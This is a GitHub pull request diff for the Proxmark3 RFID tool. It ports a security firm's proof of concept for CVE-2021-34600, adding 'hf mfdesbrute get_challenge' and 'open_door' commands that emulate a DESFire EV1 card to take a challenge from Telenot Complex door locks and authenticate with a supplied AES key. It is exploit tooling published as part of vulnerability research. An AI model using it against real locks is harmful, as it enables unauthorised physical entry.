Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

port cve-2021-34600 poc, fix device desfire aes crypto #1594

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Prev Previous commit
Port CVE-2021-34600 poc
Add support for performing the attack on systems affected by
CVE-2021-34600. For this, this commit adds the commands `hf mfdesbrute
get_challenge` and `hf mfdesbrute open_door`.
  • Loading branch information
y-x41 committed Feb 9, 2022
commit 5fd35c5980e196d8e40f41537a95f7afa4718a6c
2 changes: 1 addition & 1 deletion armsrc/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -36,7 +36,7 @@ APP_CFLAGS = $(PLATFORM_DEFS) \

SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c lfadc.c
SRC_ISO15693 = iso15693.c iso15693tools.c
SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c
SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c mfdessimulate.c
#UNUSED: mifaresniff.c
SRC_ISO14443b = iso14443b.c
SRC_FELICA = felica.c
Expand Down
23 changes: 23 additions & 0 deletions armsrc/appmain.c
Original file line number Diff line number Diff line change
Expand Up @@ -52,6 +52,7 @@
#include "lfzx.h"
#include "mifarecmd.h"
#include "mifaredesfire.h"
#include "mfdessimulate.h"
#include "mifaresim.h"
#include "pcf7931.h"
#include "Standalone/standalone.h"
Expand Down Expand Up @@ -1657,6 +1658,28 @@ static void PacketReceived(PacketCommandNG *packet) {
MifareHasStaticNonce();
break;
}
case CMD_HF_MIFARE_EV1_GET_LOCK_CHALLENGE: {
struct p {
uint8_t tagtype;
uint16_t flags;
uint8_t uid[10];
uint8_t key[16];
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
SimulateMfDesfireEv1(payload->tagtype, payload->flags, payload->uid, payload->key, CMD_HF_MIFARE_EV1_GET_LOCK_CHALLENGE);
break;
}
case CMD_HF_MIFARE_EV1_OPEN_DOOR: {
struct p {
uint8_t tagtype;
uint16_t flags;
uint8_t uid[10];
uint8_t key[16];
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
SimulateMfDesfireEv1(payload->tagtype, payload->flags, payload->uid, payload->key, CMD_HF_MIFARE_EV1_OPEN_DOOR);
break;
}
#endif

#ifdef WITH_NFCBARCODE
Expand Down
832 changes: 832 additions & 0 deletions armsrc/mfdessimulate.c

Large diffs are not rendered by default.

10 changes: 10 additions & 0 deletions armsrc/mfdessimulate.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@


#ifndef __MFDESSIM_H
#define __MFDESSIM_H

#include "iso14443a.h"

void SimulateMfDesfireEv1(uint8_t tagType, uint16_t flags, uint8_t *uid, uint8_t *enc_key, int purpose);

#endif /* __MFDESSIM_H */
1 change: 1 addition & 0 deletions client/CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -285,6 +285,7 @@ set (TARGET_SOURCES
${PM3_ROOT}/client/src/cmdhflto.c
${PM3_ROOT}/client/src/cmdhfmf.c
${PM3_ROOT}/client/src/cmdhfmfdes.c
${PM3_ROOT}/client/src/cmdhfmfdesbrute.c
${PM3_ROOT}/client/src/cmdhfmfhard.c
${PM3_ROOT}/client/src/cmdhfmfp.c
${PM3_ROOT}/client/src/cmdhfmfu.c
Expand Down
1 change: 1 addition & 0 deletions client/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -563,6 +563,7 @@ SRCS = mifare/aiddesfire.c \
cmdhflto.c \
cmdhfmf.c \
cmdhfmfdes.c \
cmdhfmfdesbrute.c \
cmdhfmfhard.c \
cmdhfmfu.c \
cmdhfmfp.c \
Expand Down
2 changes: 2 additions & 0 deletions client/src/cmdhf.c
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,7 @@
#include "cmdhfmfu.h" // ULTRALIGHT/NTAG etc
#include "cmdhfmfp.h" // Mifare Plus
#include "cmdhfmfdes.h" // DESFIRE
#include "cmdhfmfdesbrute.h" // partial DESFIRE EV1 emulation
#include "cmdhftopaz.h" // TOPAZ
#include "cmdhffelica.h" // ISO18092 / FeliCa
#include "cmdhffido.h" // FIDO authenticators
Expand Down Expand Up @@ -429,6 +430,7 @@ static command_t CommandTable[] = {
{"mfp", CmdHFMFP, AlwaysAvailable, "{ MIFARE Plus RFIDs... }"},
{"mfu", CmdHFMFUltra, AlwaysAvailable, "{ MIFARE Ultralight RFIDs... }"},
{"mfdes", CmdHFMFDes, AlwaysAvailable, "{ MIFARE Desfire RFIDs... }"},
{"mfdesbrute", CmdHfMfDesBrute, AlwaysAvailable, "{ MIFARE DESFIRE EV1 Brute Forcing... }"},
{"seos", CmdHFSeos, AlwaysAvailable, "{ SEOS RFIDs... }"},
{"st25ta", CmdHFST25TA, AlwaysAvailable, "{ ST25TA RFIDs... }"},
{"thinfilm", CmdHFThinfilm, AlwaysAvailable, "{ Thinfilm RFIDs... }"},
Expand Down
246 changes: 246 additions & 0 deletions client/src/cmdhfmfdesbrute.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,246 @@
//-----------------------------------------------------------------------------
// Copyright (C) X41 D-Sec GmbH, Yasar Klawohn, Markus Vervier
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
// High frequency ISO14443A commands
//-----------------------------------------------------------------------------
#include "cmdhfmfdesbrute.h"
#include <ctype.h>
#include <string.h>
#include "cmdparser.h" // command_t
#include "commonutil.h" // ARRAYLEN
#include "comms.h" // clearCommandBuffer
#include "cmdtrace.h"
#include "cliparser.h"
#include "cmdhfmf.h"
#include "cmdhfmfu.h"
#include "iso7816/iso7816core.h"
#include "emv/emvcore.h"
#include "ui.h"
#include "crc16.h"
#include "util_posix.h" // msclock
#include "aidsearch.h"
#include "cmdhf.h" // handle HF plot
#include "cliparser.h"
#include "protocols.h" // definitions of ISO14A/7816 protocol, MAGIC_GEN_1A
#include "iso7816/apduinfo.h" // GetAPDUCodeDescription
#include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint
#include "cmdnfc.h" // print_type4_cc_info
#include "fileutils.h" // saveFile
#include "atrs.h" // getATRinfo

static int CmdHelp(const char *Cmd);

// ## simulate iso14443a tag
int CmdHfMfDesBruteGetChallenge(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf mfdesbrute get_challenge",
"Tools for attacking weakly generated keys", // TODO fix description
"hf mfdesbrute get_challenge -t <tag type> -u <uid>");

void *argtable[] = {
arg_param_begin,
arg_int1("t", "type", "<1-10> ", "Simulation type to use"),
arg_str0("u", "uid", "<hex>", "7 byte UID"),
//arg_lit0("v", "verbose", "verbose output"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);

int tagtype = arg_get_int(ctx, 1);

int uid_len = 0;
uint8_t uid[10] = {0};
CLIGetHexWithReturn(ctx, 2, uid, &uid_len);

uint16_t flags = 0;
bool useUIDfromEML = true;

if (uid_len > 0) {
if (uid_len == 7) {
flags |= FLAG_7B_UID_IN_DATA;
} else {
PrintAndLogEx(ERR, "Please specify a 7 byte UID");
CLIParserFree(ctx);
return PM3_EINVARG;
}
PrintAndLogEx(SUCCESS, "Emulating a" _YELLOW_("DESFIRE EV1 tag")" with " _GREEN_("%d byte UID (%s)"), uid_len, sprint_hex(uid, uid_len));
useUIDfromEML = false;
}

CLIParserFree(ctx);

sector_t *k_sector = NULL;
uint8_t k_sectorsCount = 40;

if (useUIDfromEML) {
flags |= FLAG_UID_IN_EMUL;
}

struct {
uint8_t tagtype;
uint16_t flags;
uint8_t uid[10];
uint8_t key[16];
} PACKED payload;

payload.tagtype = tagtype;
payload.flags = flags;
memcpy(payload.uid, uid, uid_len);
memset(payload.key, 0, 16);

clearCommandBuffer();
SendCommandNG(CMD_HF_MIFARE_EV1_GET_LOCK_CHALLENGE, (uint8_t *)&payload, sizeof(payload));
PacketResponseNG resp;

PrintAndLogEx(INFO, "Press pm3-button to abort simulation");
bool keypress = kbd_enter_pressed();
while (!keypress) {

if (WaitForResponseTimeout(CMD_HF_MIFARE_EV1_GET_LOCK_CHALLENGE, &resp, 1500) == 0) continue;
if (resp.status != PM3_SUCCESS) break;

keypress = kbd_enter_pressed();
}

if (keypress) {
if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) {
// inform device to break the sim loop since client has exited
SendCommandNG(CMD_BREAK_LOOP, NULL, 0);
}

if (resp.status == PM3_EOPABORTED && ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK)) {
showSectorTable(k_sector, k_sectorsCount);
}
}

PrintAndLogEx(INFO, "Done");
return PM3_SUCCESS;
}

int CmdHfMfDesBruteOpenDoor(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf mfdesbrute open_door",
"Tools for attacking weakly generated keys", // TODO fix description
"hf mfdesbrute open_door -t <tag type> -u <uid> -k <key>");

void *argtable[] = {
arg_param_begin,
arg_int1("t", "type", "<1-10> ", "Simulation type to use"),
arg_str0("u", "uid", "<hex>", "7 byte UID"),
arg_str0("k", "key", "<hex>", "16 byte key"),
//arg_lit0("v", "verbose", "verbose output"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);

int tagtype = arg_get_int(ctx, 1);

int uid_len = 0;
uint8_t uid[10] = {0};
CLIGetHexWithReturn(ctx, 2, uid, &uid_len);

uint16_t flags = 0;
bool useUIDfromEML = true;

if (uid_len > 0) {
if (uid_len == 7) {
flags |= FLAG_7B_UID_IN_DATA;
} else {
PrintAndLogEx(ERR, "Please specify a 7 byte UID");
CLIParserFree(ctx);
return PM3_EINVARG;
}
PrintAndLogEx(SUCCESS, "Emulating a" _YELLOW_("DESFIRE EV1 tag")" with " _GREEN_("%d byte UID (%s)"), uid_len, sprint_hex(uid, uid_len));
useUIDfromEML = false;
}

int key_len = 0;
uint8_t key[16] = {0};
CLIGetHexWithReturn(ctx, 3, key, &key_len);

if (key_len != 16) {
PrintAndLogEx(ERR, "Please specify a key of length 16");
CLIParserFree(ctx);
return PM3_EINVARG;
}

CLIParserFree(ctx);

sector_t *k_sector = NULL;
uint8_t k_sectorsCount = 40;

if (useUIDfromEML) {
flags |= FLAG_UID_IN_EMUL;
}

struct {
uint8_t tagtype;
uint16_t flags;
uint8_t uid[10];
uint8_t key[16];
} PACKED payload;

payload.tagtype = tagtype;
payload.flags = flags;
memcpy(payload.uid, uid, uid_len);
memcpy(payload.key, key, key_len);

clearCommandBuffer();
SendCommandNG(CMD_HF_MIFARE_EV1_OPEN_DOOR, (uint8_t *)&payload, sizeof(payload));
PacketResponseNG resp;

PrintAndLogEx(INFO, "Press pm3-button to abort simulation");
bool keypress = kbd_enter_pressed();
while (!keypress) {

if (WaitForResponseTimeout(CMD_HF_MIFARE_EV1_OPEN_DOOR, &resp, 1500) == 0) continue;
if (resp.status != PM3_SUCCESS) break;

keypress = kbd_enter_pressed();
}

if (keypress) {
if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) {
// inform device to break the sim loop since client has exited
SendCommandNG(CMD_BREAK_LOOP, NULL, 0);
}

if (resp.status == PM3_EOPABORTED && ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK)) {
showSectorTable(k_sector, k_sectorsCount);
}
}

PrintAndLogEx(INFO, "Done");
return PM3_SUCCESS;
}

static command_t CommandTable[] = {
{"help", CmdHelp, AlwaysAvailable, "This help"},
{"get_challenge", CmdHfMfDesBruteGetChallenge, IfPm3Iso14443a, "Get a challenge from a lock"},
{"open_door", CmdHfMfDesBruteOpenDoor, IfPm3Iso14443a, "AES auth simulation for Telenot Complex systems"},
{NULL, NULL, NULL, NULL}
};

static int CmdHelp(const char *Cmd) {
(void)Cmd; // Cmd is not used so far
CmdsHelp(CommandTable);
return PM3_SUCCESS;
}

int CmdHfMfDesBrute(const char *Cmd) {
clearCommandBuffer();
return CmdsParse(CommandTable, Cmd);
}
28 changes: 28 additions & 0 deletions client/src/cmdhfmfdesbrute.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
//-----------------------------------------------------------------------------
// Copyright (C) X41 D-Sec GmbH, Yasar Klawohn, Markus Vervier
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
// High frequency ISO14443A commands
//-----------------------------------------------------------------------------

#ifndef CMDHFMFDESBRUTE_H__
#define CMDHFMFDESBRUTE_H__

//static int CmdHelp(const char *Cmd);
int CmdHfMfDesBrute(const char *Cmd);
int CmdHfMfDesBruteGetChallenge(const char *Cmd);
int CmdHfMfDesBruteOpenDoor(const char *Cmd);

#endif
3 changes: 3 additions & 0 deletions client/src/pm3line_vocabulory.h
Original file line number Diff line number Diff line change
Expand Up @@ -395,6 +395,9 @@ const static vocabulory_t vocabulory[] = {
{ 0, "hf mfdes value" },
{ 0, "hf mfdes clearrecfile" },
{ 1, "hf mfdes test" },
{ 1, "hf mfdesbrute help" },
{ 0, "hf mfdesbrute get_challenge" },
{ 0, "hf mfdesbrute open_door" },
{ 1, "hf seos help" },
{ 0, "hf seos info" },
{ 1, "hf seos list" },
Expand Down
Loading